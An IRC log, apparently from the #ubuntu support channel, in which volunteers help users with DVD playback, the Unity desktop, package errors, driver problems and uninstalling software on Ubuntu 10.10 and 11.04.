[02:52] <ubottu> gaelfx: Ubuntu's default installation and repositories do not include packages needed to play commercial DVDs for legal reasons. For information on adding them, see https://help.ubuntu.com/community/RestrictedFormats/PlayingDVDs | For information on the legalities involved, see the "DVD" section of https://help.ubuntu.com/community/FreeFormats
[02:52] <hiexpo> cheapie, did you read the readme in the tarball before trying to install ?
[02:53] <fizyplankton> cheapie: i cant really reboot. its not a good time
[02:53] <arquebus> zifty: why dont you go to #postfix?
[02:53] <cheapie> Hiexpo: I'll go check that.
[02:53] <fizyplankton> iconmefisto: have you managed to fix it?
[02:53] <cheapie> fizyplankton: I don't know of anything else to do...
[02:53] <zifty> arquebus: cause i get death threats from them
[02:53] <fizyplankton> i have an idea
[02:53] <iconmefisto> fizyplankton: no, sorry
[02:53] <n-iCe> hi
[02:54] <gaelfx> KM0201: yes, I'm aware, but DVDs play fine in VLC and SMPlayer, except for three recently bought DVDs
[02:54] <siick> fn'Chuchulain, i got a live cd somewhere, wanted to somehow avoid it and try via grub commandline ;(
[02:54] <siick> can i just boot up a livecd and edit/update grub?
[02:54] <KM0201> gaelfx: could have a different encryption on them.
[02:54] <traskers> I'm attempting to get Gnome Shell installed on Ubuntu 11.04 by using the gnome3-team/gnome3 PPA, but when I'm "sudo apt-get dist-upgrading" after an update, I keep running into an error with gir1.2-mutter, can anyone point me in the right direction?
[02:54] <fizyplankton> dammit. my idea didnt work
[02:55] <cheapie> hiexpo: The readme included with it is for an old version that used configure and jam instead of cmake and make. I tried following the (newer) online readme.\
[02:55] <cheapie> traskers: What's the error?
[02:55] <KM0201> gaelfx: on that page, there's instructions on what to do if dvd's still dont play after installing libdvdread
[02:55] <hiexpo> gaelfx, you havemediabuntu repos installed ?
[02:56] <KM0201> hiexpo: medibuntu isn't required for dvd playback
[02:56] <hiexpo> cheapie, no configure ?
[02:56] <traskers> cheapie, http://pastebin.com/pwjiqtP7
[02:56] <gaelfx> hiexpo: nope
[02:56] <KM0201> gaelfx: you don't need it
[02:56] <KM0201> read that link.. ther'es instructions what to do if dvd's still don't work
[02:57] <cheapie> hiexpo: It uses CMake instead.
[02:57] <fizyplankton> if i unplug a PS/2 keyboard and plug it back in without rebooting, it should work, right?
[02:57] <cheapie> traskers: I don't really know. I told you to share that so that others could help you more easily.
[02:58] <hiexpo> KM0201, oh gues you don't need extrelibdvdnav & libdvdread anymore huh   ok and all the codecs
[02:58] <fizyplankton> if i unplug a PS/2 keyboard and plug it back in without rebooting, it should work, right?
[02:58] <html_inprogress> hi all
[02:58] <cheapie> fizyplankton: Your motherboard can be damaged if you do that.
[02:59] <Blue1> fizyplankton: what cheapie said
[02:59] <KM0201> hiexpo: i've not needed medibuntu, since at least 9.04.. maybe 8.10
[02:59] <taglass> fizyplankton: I've never had an issues doing it, but like cheapie says theoretically you could fry your MB.
[02:59] <cheapie> fizyplankton: You can try a USB keyboard, if you have one.
[02:59] <hiexpo> cheapie, could be a video card issue they mentioned that on there site
[03:00] <fizyplankton> nah i dont have a USB keyboard. ill try just rebooting X
[03:00] <cheapie> hiexpo: I have an ATI radeon HD 5770 with fglrx installed.
[03:00] <fizyplankton> praise the lord for screen sessions
[03:01] <hiexpo> KM0201, so you don'tuse libdvdnav ,libdvdread nor libdvdcss
[03:01] <taglass> fizyplankton: Amen.  I think it goes the wheel, sliced bread, screen
[03:01] <KM0201> hiexpo: i do exactly what that link i plastered above sais, and yes, it installs libdvdread.. did you bother reading the lnk?
[03:01] <dusf> Axlin: ty for help
[03:01] <hiexpo> KM0201, nope
[03:01] <fizyplankton> tgm4883: what? the wheel, sliced bread, screen?
[03:02] <fizyplankton> oh
[03:02] <KM0201> hiexpo: the why are you constantly questioning me as to whether i've actually made this work or not
[03:02] <fizyplankton> i get it. inventions
[03:02] <hiexpo> KM0201, what the link ?
[03:02] <KM0201> !dvd | hiexpo
[03:02] <ubottu> hiexpo: Ubuntu's default installation and repositories do not include packages needed to play commercial DVDs for legal reasons. For information on adding them, see https://help.ubuntu.com/community/RestrictedFormats/PlayingDVDs | For information on the legalities involved, see the "DVD" section of https://help.ubuntu.com/community/FreeFormats
[03:02] <cheapie> hiexpo: I also forgot to mention that the video card issue is with the older "Alpha" versions on the front page. The development version (which I'm trying to build) doesn't have those issues. (It has a different graphics engine called OGRE instead of Crystal Space. Also, I do have OGRE installed.)
[03:02] <bazhang> !dvd > hiexpo
[03:02] <ubottu> hiexpo, please see my private message
[03:03] <bp0> something is messud up with nvidia and 11.04
[03:03] <balr0g> hello guys, can anyone bring me some help on Update Manager and apt-get: look this image from Update Manager: http://imagebin.org/151407 and this pastebin form apt-get: http://pastebin.com/KfkhSYyh i already tried googling this, but i found solutions not good looking as uninstalling tar! please help guys!
[03:04] <fizyplankton> WOOOOO it works. praise the good lorg for ctrl-alt-backspace and screen!!!!!!!!!!!!!!!!!!!!!!!!!!!
[03:04] <gaelfx> KM0201: what exactly does the libdvdcss thing do?
[03:04] <fizyplankton> lord*
[03:04] <KM0201> gaelfx: it breaks the enctryption on DVD's so they can be read.
[03:04] <KM0201> gaelfx: basically.
[03:04] <yxz97> I need a job in USA
[03:05] <yxz97> to earn good money
[03:05] <yxz97> as Java developer
[03:05] <traskers> I'm attempting to get Gnome Shell installed on Ubuntu 11.04 by using the gnome3-team/gnome3 PPA, but when I'm "sudo apt-get dist-upgrading" after an update, I keep running into an error with gir1.2-mutter, can anyone point me in the right direction? The error is: http://pastebin.com/pwjiqtP7
[03:05] <bazhang> yxz97, offtopic here
[03:05] <cheapie> balr0g: I think you might actually have to reinstall tar.
[03:05] <gaelfx> ah, yes, the reward for buying a legitimate DVD in China is that you have to break the law to watch it
[03:05] <yxz97> optionally coding Adobe flex as well
[03:05] <yxz97> :(
[03:05] <gaelfx> they REALLY don't want you to follow the rules here
[03:05] <bazhang> yxz97, this is not the channel for that
[03:05] <balr0g> cheapie, i think tar will be needed to install tar!!
[03:05] <tortoise> Hey guys, I just bought a Nikon d3000 today and i'm trying to look at the software in came with, but the software is made for only OSX and Windows. Could someone help to get it to work with lucid?
[03:06] <KM0201> tortoise: its unlikely it will work w/linux... is that a camera?
[03:06] <AndrewR_SM> Request for help: I just upgraded to 11.04 on my Dell Inspiron 1720. It says it doesn't see any network devices. I have the latest broadcom driver installed(99% sure) and it won't detect any wireless networks or even the ethernet cable. Please help?
[03:06] <yxz97> bazhang, which is it?
[03:06] <cheapie> balr0g: I think 7-zip can uncompress it, if you have it installed. Also, you can uncompress it on a different computer.
[03:06] <tortoise> KM0201: yes it is, would it be possibly to get it to work in Wine?
[03:06] <bazhang> !alis | yxz97
[03:06] <ubottu> yxz97: alis is a services bot that can help you find channels. Read "/msg alis help list" for help and ask any questions about it in #freenode. Example usage: /msg alis list #ubuntu*
[03:06] <cheapie> tortoise: Have you tried Wine yet?
[03:07] <bazhang> yxz97, /join #freenode
[03:07] <tortoise> cheapie: I was going to, but I've never used Wine and don't even know where to start
[03:07] <balr0g> cheapie, i dont like this... why do you think is tar problem? did you see the image from Update Manager i posted?
[03:07] <KM0201> tortoise: very unlikely.. wine doesn't work w/ hardware (which is what you'd be asking it to do).. just plug the camera in, and most likely it will be detected as a flash drive, and you can drag/drop off of it.. then use gimp or whatever, to fix your images
[03:07] <pie_> why is there no taskbar? *crying*
[03:07] <tortoise> KM0201: I've already tried it. Also, I don't think wine would need to work with hardware for it to work with Nikon's software.
[03:07] <KM0201> tortoise: it might work in wine, but i've never gotten wine to work w/ hardware (thus why wine won't work w/ itunes to sync ipods, or zune software to sync zunes, etc..)
[03:08] <pie_> ok so i just ran the upgrader from cd after running from hdd screwed up my box
[03:08] <pie_> and the gui is all screwy and im pretty clueless on using it
[03:08] <KM0201> tortoise: you want the nikon to see the camera, correct?.. tell me how it's gonna do that, w/o working w/ hardware
[03:08] <cheapie> balr0g: It says "subprocess tar killed by signal (Segmentation fault)" in the apt-get output. Looks like a tar problem to me.
[03:08] <tortoise> KM0201: OH wow. I misread your first message. Well, an attempt is always worth it.
[03:08] <pie_> can someone link me to a help doc because i dotn know how to open firefox...
[03:08] <tortoise> KM0201: but again, I've never used wine before, so how would I even begin?
[03:08] <balr0g> cheapie, what about Update Manager, i went to apt-get after failing on Update manager (GUI boy ;))
[03:09] <KM0201> tortoise: http://ubuntuforums.org/showthread.php?t=1447104&page=2   amazing what google shows...
[03:09] <cheapie> pie_: What desktop are you using, and what's it doing?
[03:10] <cheapie> balr0g: "Update Mangler" uses aptdaemon as a backend, which uses dpkg, which uses dpkg-deb, which uses tar.
[03:10] <AndrewR_SM> Any thoughts on my lack of networking..?
[03:10] <pie_> i think its unity
[03:10] <cheapie> @tortoise: Just install it from the software center.
[03:10] <pie_> im just totally disoriented
[03:10] <cheapie> tortoise: Just install it from the software center.
[03:11] <pie_> its whatever comes with 11.04
[03:11] <cheapie> pie_: Have you tried a different option at the login screen?
[03:12] <tortoise> KM0201: thanks, and I'm sorry for wasting your 6 minutes when I could've googled it. I should have never disturbed your peace.
[03:12] <hiexpo> gaelfx, what dvds you tring to play ?
[03:12] <KM0201> tortoise: youd idn't bother me.. lol, just saying, google turns up a lot of hits on it (most don't seem tog et it to work)
[03:12] <cheapie> pie: More importantly, does the "Recovery Console" option at the login screen work? You should be able to run "unity --reset" then "exit" from there.
[03:12] <jep> hey guys, my ubuntu boot isn't detecting my pcix ethernet card. when i do 'lshw -C network', it as well as the board's nic show up as 'DISABLED'. I do a 'sudo ifconfig eth1 up' (eth1 is the pcix nic), but still nothing and rebooting makes it disabled again. /etc/network/interfaces only contained the two 'lo' entries so i added ones for eth0 and eth1 (before reboot). Any ideas? I've been out
[03:12] <jep> for like a week now.
[03:13] <tortoise> KM0201: yeah, tbh I skipped google this time because I figured someone here could at least tell me how to do it in wine faster than i could find it on google. lol
[03:13] <KM0201> tortoise: the chances of it working wine, are slim to be honest.. but if you insist, ask in #wine
[03:14] <bazhang> #winehq
[03:14] <balr0g> cheapie, i dont want to unistall tar, how to install it again? i will reboot and try apt-get first of any other package manager and see if i got the same issue, brb...
[03:14] <tortoise> KM0201: okay, I will if nothing in this thread works
[03:14] <KM0201> tortoise: sorry, #winehq
[03:14] <Omega> !wifi | jep
[03:14] <ubottu> jep: Wireless documentation, including how-to guides and troubleshooting information, can be found at https://help.ubuntu.com/community/WifiDocs
[03:14] <AndrewR_SM> OK, I guess I'll leave since I'm getting ignored...
[03:14] <WhatWhereAmI> Hey, i tried to install BURG and i think the installation broke somewhere. I only get "GRUB loading." and nothing else.
[03:14] <Omega> jep: I don't know the answer myself, but maybe that helps.
[03:14] <cheapie> balr0g: You can try recovery mode from the grub menu too.
[03:15] <jep> Omega: it's not wifi
[03:15] <balr0g> cheapie, also will be looking at that.. brb...
[03:15] <cheapie> AndrewR_SM: What's your problem?
[03:15] <hiexpo> AndrewR_SM, whats wrong?
[03:15] <AndrewR_SM> Thanks for the response. " Request for help: I just upgraded to 11.04 on my Dell Inspiron 1720. It says it doesn't see any network devices. I have the latest broadcom driver installed(99% sure) and it won't detect any wireless networks or even the ethernet cable. Please help?"
[03:15] <chaospsyche> what's the command to remove unity?
[03:16] <Guest9581> youtube video isn't working for me
[03:16] <hiexpo> !broadcam | AndrewR_SM
[03:16] <AndrewR_SM> !broadcom
[03:16] <cheapie> AndrewR_SM: I can't help it, so I'll say it - Broadcom: Incompatibility at it's finest.
[03:16] <ubottu> Help with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[03:16] <hakeon_> how can i fix impress blank slides when viewed by MS?
[03:17] <pie_> cheapie, to be honest i actually didnt look there :/
[03:17] <pie_> i just dont know what the hell im doing
[03:17] <cheapie> hakeon_: You may want to ask the OpenOffice.org/LibreOffice community about that.
[03:17] <pie_> i think it works
[03:17] <cheapie> pie_: Yay!
[03:17] <pie_> because irc comes up automatically
[03:17] <jep> why would the ethernet suddenly stop being detected?
[03:17] <pie_> im just totally disoriented
[03:17] <AndrewR_SM> Where I'm confused is that everything was working fine before the upgrade. Also, because ethernet isn't working I can't apt-get/use package managers. Is there a way that I can just de-upgrade? Everything was working fine...
[03:18] <pie_> new gui, y u no come with tutorial?
[03:18] <chaospsyche> 11.04 is buggy andrew
[03:18] <cheapie> pie_: What's making you so "disoriented"?
[03:18] <hakeon_> thx cheapie - i've tried... sigh... it seems there isn't any fix... how can that be true?
[03:18] <jep> i guess i have to reinstall the os?
[03:18] <AndrewR_SM> Annoying that it was a recommending upgrade, then. Is there a way to safely go backwards?
[03:18] <chaospsyche> jep try 10.10
[03:18] <jep> i am on 10.10
[03:18] <pie_> cheapie, ive managed to figure out where the file and such menus are(theyre at the top where the ..."dtart menu" was)
[03:19] <chaospsyche> jep: and your having problems?
[03:19] <pie_> but where did the bar with the "start menu" go and wheres the task bar
[03:19] <pie_> (pardon my windows terms i dont know what you call those)
[03:19] <jep> yes
[03:19] <cheapie> pie_: Yep. They can be hard to see.
[03:19] <jep> i installed a pci-x ethernet card and 10.10 isn't detecting it
[03:19] <pie_> and how do i get the equivalent of such menu again
[03:19] <chaospsyche> is unity a module of the linux kernel in 11.04 ?
[03:19] <jep> but i'm using it on windows right now
[03:19] <netbook> alsa fixed it! thanks!
[03:19] <cheapie> pie_: You're using unity, right? With that dock on the left?
[03:20] <nabi> I can sharing a folder on partion fat32 or NTFS. and show me that on new machine, but when I try to open a folder shared, get me error!
[03:20] <pie_> oh wow....how did i miss that?
[03:20] <pie_> now i gotta figure out how the hell that works...
[03:20] <pie_> looooong day :(
[03:20] <cheapie> pie_: It's just like Windows 7.
[03:20] <floodplain> hi all, can  i  install the font Arial Narrow on ubuntu or is it just not going to happen?
[03:21] <pie_> to be honest i find windows/old ubuntu a lot mor intuitive but thanks ive got a launch point now
[03:21] <chaospsyche> i'm getting 'artifacts' in my UI and yes I am on 'ubuntu classic(no effects)'
[03:21] <taglass> floodplain: sudo apt-get install ttf-mscorefonts-installer
[03:21] <cheapie> pie_: It's easy to get the old look and behavior back.
[03:22] <chaospsyche> i upgraded(fresh install) to 11.04
[03:22] <floodplain> taglass: cheers thanks, i thought i read that arial narrow wasn't included in that.
[03:22] <chaospsyche> didn't have this problem with 10.10
[03:22] <taglass> floodplain: or ttf-liberation which has an Arial lookalike
[03:22] <cheapie> chaospsyche: ...like things getting "stuck" on the screen?
[03:22] <pie_> might as well go with th enew since thats how itll be onwards, and the supports mainly going to be for th enew gui no?
[03:22] <chaospsyche> cheapie: yes, why? you have same problem ?
[03:22] <cheapie> pie_: From what I know, yes.
[03:23] <FHtrain> help i'm on ubuntu 11.04 and i cant get the seconds to show on the clock. i click on 'time & date settings' and nothing happens
[03:23] <cheapie> chaospsyche: It's a known problem. Somebody on the forum had it.
[03:23] <chaospsyche> cheapie: is there a solution ?
[03:23] <floodplain> taglass: hmm, turns out i have both packages up to date
[03:23] <cheapie> chaospsyche: Is Flash player up to date? That is what was causing the other guy's problem.
[03:24] <Ming1> hello
[03:24] <floodplain> taglass: do you know will a web page with arial narrow auto degrade to a similar font?
[03:24] <chaospsyche> cheapie: let me try that
[03:24] <cheapie> chaospsyche: OK. I can wait.
[03:24] <sidge> netbook, im glad i managed to solve yout troublers :)  I have sound problems i never manage to toally beat it seems
[03:24] <tortoise> KM0201: if you're interested, I just now found the sd slot on my computer. so no need for software (other than fspot). Thanks for the link!
[03:24] <tbruff13> I need help with ubuntu 11.04 please
[03:24] <Arowana> Hello all
[03:25] <KM0201> tortoise: well that solves the prob w/o the camera then.. great.
[03:25] <cheapie> tbruff13: What's wrong?
[03:25] <killer_> How to I configure my application menu?
[03:25] <gaelfx> hiexpo: National Geographic natury stuff
[03:25] <vasudan> Hi, could someone help me remove Avast antivirus?  I installed it and I have no idea how to remove it!
[03:25] <vasudan> I'm using Ubuntu 10.10 32 bit
[03:25] <tbruff13> cheapie, i cant figure out how to install compiz settings manager
[03:25] <tbruff13> cheapie, compiz-core: Depends: libgcc1 (>= 1:4.1.1) but 1:4.5.2-8ubuntu4 is to be installed
[03:25] <tbruff13>              Depends: libice6 (>= 1:1.0.0) but 2:1.0.7-1ubuntu1 is to be installed
[03:25] <tbruff13>              Depends: libxdamage1 (>= 1:1.1) but 1:1.1.3-1ubuntu1 is to be installed
[03:25] <tbruff13>              Depends: libxfixes3 (>= 1:4.0.1) but 1:4.0.5-1ubuntu1 is to be installed
[03:26] <chaospsyche> why would the flash plugin cause this? doesnt make sense
[03:26] <Omega> vasudan: how did you install it?
[03:26] <vasudan> Omega: I downloaded the .deb file from their website, and installed it.
[03:26] <cheapie> tbruff13: Can you run sudo aptitude install compiz-core and see what that recommends to solve it?
[03:26] <smrz> After installing natty, rebooting, I get a desktop with no panels, and have no ability to bring up the unity dash... has anyone had this issue? advice to start diagnosing it?
[03:26] <Neo_Kipling> scan my new ubuntu 11.04, it has "1080/tcp open  tcpwrapped", what's this for? how can i close it?
[03:26] <sidge> anyone ever set up fglrx/grub/kernel terminlas to the same resolution? is it possible/worth doing at 1080p
[03:26] <chaospsyche> vasudan: synaptic ?
[03:27] <vasudan> chaos: No, when I double clicked the .deb file, it installed through Ubuntu software center.
[03:27] <cheapie> chaospsyche: I don't know why. It just does.
[03:27] <jeffrash> is there anyone around that can explain why ubuntu can get the broadcom b43 support consistent?
[03:27] <chaospsyche> are drivers loaded into the kernel as modules?
[03:27] <cheapie> chaospsyche: Most are, some aren't.
[03:28] <chaospsyche> i'm thinking it has something to do with the kernel/module
[03:28] <vasudan> I tried double clicking it again, it opened software center, and I only see an option to "reinstall", no remove.  This sucks, I hate Avast.
[03:28] <chaospsyche> because this is a newer kernel version than 10.10
[03:28] <chaospsyche> the default kernel when you install 10.10
[03:28] <vasudan> They shouldn't force people like this to keep software we don't want on our computers by not providing an option to uninstall.
[03:28] <jeffrash> I understand thanks
[03:28] <tbruff13> cheapie, it says 0 packages upgraded, 0 newly installed, 0 to remove and 1 not upgraded
[03:28] <chaospsyche> cheapie: should i reboot? no effect so far
[03:28] <chaospsyche> vasudan: you have to use synaptic
[03:29] <chaospsyche> or the terminal
[03:29] <cheapie> tbruff13: Did it say anything else?
[03:29] <tbruff13> cheapie, no
[03:29] <jeffrash> But why does support come and go every time
[03:29] <cheapie> chaospsyche: Well, you can try.
[03:29] <cheapie> tbruff13: Did you run it in a regular terminal?
[03:29] <vasudan> chaos: I tried searching in synaptic but didn't find it.  Via terminal, I didn't find the package name.  Tried typing avast, avastgui etc
[03:29] <jeffrash> it works in one release and doesn't two releases later then it works for two more and stops again
[03:30] <vasudan> Thanks for your help guys btw, appreciate it :)
[03:30] <Omega> vasudan: do you know where the package is?
[03:30] <Omega> I know how to remove it, don't go!
[03:30] <tbruff13> cheapie, no the new buyou terminal what does that mean
[03:30] <vasudan> Still here
[03:30] <Omega> vasudan: do you know where the deb is downloaded to?
[03:30] <vasudan> The .deb package?  It is in my downloads folder.  If you're asking where it installed, I think it's under Home/.Avast
[03:31] <tbruff13> cheapie, just ran in regular terminal same result
[03:31] <Pretto> how can i register my icon for use with my application into the system?
[03:31] <noobiest> anyone can help me about debconf error?
[03:31] <cheapie> tbruff13: I don't know what's going on then.
[03:31] <cheapie> vasudan: What's the file called?
[03:31] <balr0g> hello guyss, cheapie are you there? what is happening to me? look this: http://pastebin.com/YMyCNLzt
[03:32] <prodigel> hi all. I'm tryng to configure postfix + smtp auth using this guide: https://help.ubuntu.com/community/Postfix#Authentication but I'm not sure if it works.
[03:32] <tbruff13> cheapie, how about i try to install compiz settings manager through synaptic
[03:32] <vasudan> cheapie: It's avast4workstation_1.3.0-2_i386
[03:32] <yuskhanzab> anyone having problem to control mouse after updating wine to version 1.3.19?
[03:32] <jeffrash> How do I get this issue higher on Ubuntu priority list?
[03:32] <tbruff13> cheapie, how do i switch unity buttons to the rights side like x
[03:32] <Ziber> Anyone here familiar with skype on ubuntu 10.10?
[03:32] <cheapie> balr0g: That doesn't look good. I'm not sure what happened.
[03:32] <Ziber> Having a problem sharing my screen...
[03:33] <prodigel> I see 250-starttls, but 250-auth on it's own line I don't. Rather I see 250-AUTH PLAIN LOGIN and 250-AUTH=PLAIN LOGIN. Anyone experienced with postfix/smtp?
[03:33] <balr0g> =(
[03:33] <cheapie> vasudan: Try sudo apt-get remove avast4workstation
[03:33] <Omega> vasudan: in the terminal enter the following: sudo dpkg --purge <the package name>
[03:33] <fr00g> Okay, when I search in Synaptic, I only have one linux-image installed
[03:33] <Omega> vasudan: sudo dpkg --purge avast4workstation_1.3.0-2_i386
[03:33] <cheapie> tbruff13: The first question: well, you can try. The second question: I don't think that's possible yet.
[03:33] <fr00g> That is 2.6.38, but grub is showing a bunch of 2.6.35-x kernels
[03:34] <Axlin> tbruff13: gconftool-2 --set "/apps/metacity/general/button_layout" --type string "menu:minimize,maximize,close"
[03:34] <Axlin> tbruff13: but maximized windows will still have them on the left
[03:34] <chaospsyche> If I remove unity and reboot I won't be dropped to a command prompt will i?
[03:34] <chaospsyche> a complete removal
[03:34] <Neo_Kipling> nmap -A 127.0.0.1   get: 1080/tcp open  tcpwrapped . ubuntu 11.04, anyone please tell me what's this daemon
[03:34] <vasudan> omega & cheapie:  Thanks guys, I typed sudo apt-get remove avast4workstation and it uninstalled!
[03:35] <vasudan> You guys rock, thanks a bunch! :)
[03:35] <tbruff13> cheapie, is compiz possible because i am confused
[03:35] <hellobyebye> what window manager would you guys suggest for someone who is looking to move away from traditional "Window style" as muh as possible?
[03:35] <cheapie> chaospsyche: Select "Ubuntu Classic" when logging in and you should be fine.
[03:35] <cheapie> tbruff13: What?
[03:35] <chaospsyche> cheapie im using that
[03:35] <noobiest> my debconf freeze after install package ubuntu restricted extras i kill it via sysmonitor then i must partially upgrade i cant use ubuntu software again?
[03:35] <esx> hellobyebye: Xmonad
[03:35] <cheapie> chaospsyche: You should be fine then.
[03:35] <chaospsyche> im not fine
[03:36] <chaospsyche> i've got gfx artifacts all over my UI
[03:36] <hiexpo> hellobyebye, gnome i like
[03:36] <cheapie> chaospsyche: What kind of artifacts?
[03:36] <Omega> vasudan: try sudo apt-get purge avast4workstation
[03:36] <chaospsyche> graphic artifacts
[03:36] <Omega> that removes all the configs it left behind too
[03:36] <chaospsyche> blocks lines dots
[03:36] <LEONSANTIL2> hola
[03:36] <hellobyebye> i've used gnome for a while and kind of want something different
[03:36] <hellobyebye> im thinking of giving openbox a go
[03:36] <LEONSANTIL2> fui baneado de anonymous
[03:36] <chaospsyche> openbox?
[03:37] <LEONSANTIL2> me dijeron quese estaban reagrupando aca
[03:37] <LEONSANTIL2> manden mp
[03:37] <hellobyebye> yes
[03:37] <cheapie> chaospsyche: Try Alt+F2, then type 'compiz --replace' As for openbox, it's a different window manager.
[03:37] <vasudan> Omega: Thanks , it worked!  Brilliant - thank you!  I'm going to post on ubuntuforums now, on how to do this.
[03:37] <Omega> hellobyebye: openbox isn't a desktop environment, it's just a window manager
[03:37] <noobiest> my debconf freeze after install package ubuntu restricted extras i kill it via sysmonitor then i must partially upgrade i cant use ubuntu software again?
[03:37] <Omega> vasudan: :)
[03:37] <chaospsyche> vasudan: you used synaptic?
[03:38] <hellobyebye> notice i said window manager not desktop environment
[03:38] <hellobyebye> what is your point?
[03:38] <vasudan> chaospsyche: no, removed it through the terminal :)
[03:38] <cheapie> chaospsyche: I just wanted to let you know that Openbox works best with the Fluxbox desktop environment, at least for me.
[03:38] <chaospsyche> vasudan: rm <package name> ?
[03:38] <tbruff13> cheapie, this is what i get The following NEW packages will be installed:
[03:38] <tbruff13>   compizconfig-settings-manager{a} python-compizconfig{a} simple-ccsm
[03:38] <tbruff13> The following packages will be REMOVED:
[03:38] <tbruff13>   geoclue{u} geoclue-ubuntu-geoip{u} indicator-datetime{u} libgeoclue0{u}
[03:38] <tbruff13>   libglew1.5{u} libglewmx1.5{u} libglib2.0-bin{u} libnux-0.9-0{u}
[03:38] <FloodBot1> tbruff13: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[03:38] <tbruff13>   libnux-0.9-common{u} libunity-misc0{u} libzeitgeist-1.0-1{u} nux-tools{u}
[03:39] <vasudan> chaospsyche: sudo apt-get remove avast4workstation worked for me
[03:39] <chaospsyche> cheapie: that command didn't work,what did it do ?
[03:39] <chaospsyche> in fact
[03:39] <chaospsyche> it's worse now
[03:39] <tbruff13> hello
[03:40] <cheapie> chaospsyche: Try 'metacity --replace' to turn off effects and see what happens.
[03:40] <Arowana> bye
[03:40] <noobiest> i hav problem natty with debconf :(
[03:40] <LEONSANTIL2> anonymous ban me!! wtf!
[03:40] <cheapie> tbruff13: Well, that's strange... IDK what to say about that.
[03:40] <chaospsyche> omg now the screen is borked,i cant click nothing,no menu bars
[03:40] <LEONSANTIL2> anonymous no more free
[03:40] <tbruff13> cheapie, what do i do
[03:40] <LEONSANTIL2> is controlled
[03:40] <chaospsyche> metatase\
[03:41] <cheapie> chaospsyche: Try restarting and select "Ubuntu Classic (No Effects" at the login screen.
[03:41] <oneliner> gnash==flawless open source flash player, excelent stuff right there,
[03:42] <chaospsyche> cheapie: what was the command again? i had to reboot
[03:42] <killer_> Is there a way to allow for double-clicking on the left most application icon to close the application? (Instead of quickly opening then closing the application menu)
[03:43] <Ta0nkZ01d2> exit
[03:43] <cheapie> chaospsyche: Try logging in, but select "Ubuntu Classic (No Effects) in the drop-down box first.
[03:44] <noobiest> cheapie: do u know how to fix debconf?
[03:44] <chaospsyche> cheapie: i have done that,and i am in that now
[03:44] <cheapie> noobiest: What's wrong?
[03:44] <chaospsyche> that only partly fixes it
[03:44] <cheapie> chaospsyche: What is it doing now?
[03:44] <chaospsyche> there is something that is causing a conflict with whatever is handling the displaying of the UI
[03:45] <cheapie> chaospsyche: Do you have a LiveCD that you can try?
[03:45] <chaospsyche> cheapie: let me show you a screen capture
[03:45] <chaospsyche> cheapie: 11.04 live cd is the same thing
[03:45] <chaospsyche> i dont have this problem on 10.10
[03:45] <chaospsyche> but on 10.10 my wireless usb adapter doesnt work. it works with 11.04 and being as that is the only way i can get on the net i want to use 11.04
[03:46] <hiexpo> oneliner, so gnash is good ?
[03:46] <antonio_> hola buenas noches soy novato en ubuntu y necesito ayuda sobre como instalar openproj
[03:46] <cheapie> chaospsyche: Do you have any proprietary drivers (fglrx, etc.) installed?
[03:46] <tbruff13> cheapie, i used synaptic to reinstall everything compiz related
[03:46] <antonio_> hola buenas noches soy novato en ubuntu y necesito ayuda sobre como instalar openproj
[03:46] <chaospsyche> nope,i have a intel 82865g onboard vga
[03:46] <hiexpo> !es
[03:46] <ubottu> En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[03:46] <oneliner> hiexpo yes
[03:46] <cheapie> tbruff13: I don't know what's going on in your case. Sorry.
[03:47] <cheapie> chaospsyche: Does jockey pop up any notifications?
[03:47] <hiexpo> oneliner, does it work with firefox
[03:47] <chaospsyche> jockey?
[03:47] <ChaoticDark> hey, tryin to run Wubi to install alongside Win7, get the popup "There is no disk in the drive. Please insert a disk into drive \Device\Harddisk1\DR1." with the title "pyrun.exe - No Disk".
[03:47] <vasudan> Do you guys know which is the best antivirus for Ubuntu?  I dual boot and email files to Windows users, so want to make sure I'm not inadvertently spreading.
[03:47] <antonio_> ok gracias
[03:47] <noobiest> cheapie:freeze debconf first appear EULA then freeze i after i install ubuntu restricted extras, i killed via system monitor then i open updatemanager,should i run partial upgrade?
[03:47] <JoseeAntonioR> Guys, I'm having a trouble. My Unity sidebar doesn't auto-hide and it covers part of the full-screen opened window.
[03:48] <vike> hi, my mail notification for evolution is not working in ubuntu 11.04, anybody know how to get it working?
[03:48] <rage> vasudan: I havent used it much recently, but I've had some good experiences with clamav
[03:48] <oneliner> hiexpo, my firefox had cranky and broken animation rendering, is normal now, 64bit sistem
[03:48] <cheapie> noobiest: Can you try that and tell me if it wants to remove packages?
[03:48] <chaospsyche> can someone tell me how to use an older kernel with 11.04
[03:48] <cheapie> chaospsyche: It's the "Additional Drivers" thing.
[03:48] <QaDeS> antonio_,  http://sourceforge.net/projects/openproj/files/OpenProj%20Binaries/1.4/openproj_1.4-2.deb/download
[03:49] <chaospsyche> cheapie: Oh, nah it doesnt say nothing
[03:49] <cheapie> vasudan: I also recommend ClamAV.
[03:49] <chaospsyche> cheapie: how do i show you this screen capture of my desktop ?
[03:49] <hiexpo> oneliner, oh ok am useing 10.04 32  with 2.6.38.5 kernal so i will try itthanks
[03:49] <cheapie> chaospsyche: Not even when you open it?
[03:49] <vasudan> rage: Thanks, will check it out.
[03:49] <chaospsyche> it says no proprietary drivers are in use
[03:49] <cheapie> !pastebin | chaospsyche
[03:49] <vasudan> cheapie: Thanks, will check it out.
[03:49] <ubottu> chaospsyche: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[03:50] <ChaoticDark> hey, tryin to run Wubi to install alongside Win7, immediately get the popup "There is no disk in the drive. Please insert a disk into drive \Device\Harddisk1\DR1." with the title "pyrun.exe - No Disk".
[03:50] <noobiest> cheapie: a partail upgrade is harmless?
[03:50] <cheapie> chaospsyche: Can you try sudo apt-get update, then check the additional drivers window again?
[03:50] <chaospsyche> cheapie: http://imagebin.org/151416
[03:50] <cheapie> noobiest: As long as it doesn't want to remove anything.
[03:51] <vike>  hi, my mail notification for evolution is not working in ubuntu 11.04, anybody know how to get it working?
[03:51] <cheapie> chaospsyche: If there are any updates, try installing them and see if that works.
[03:51] <hiexpo> vike, what mail service you useing ?
[03:51] <vike> imap
[03:51] <chaospsyche> cheapie: after 'sudo apt-get update' it is the same. no proprietary drivers in use
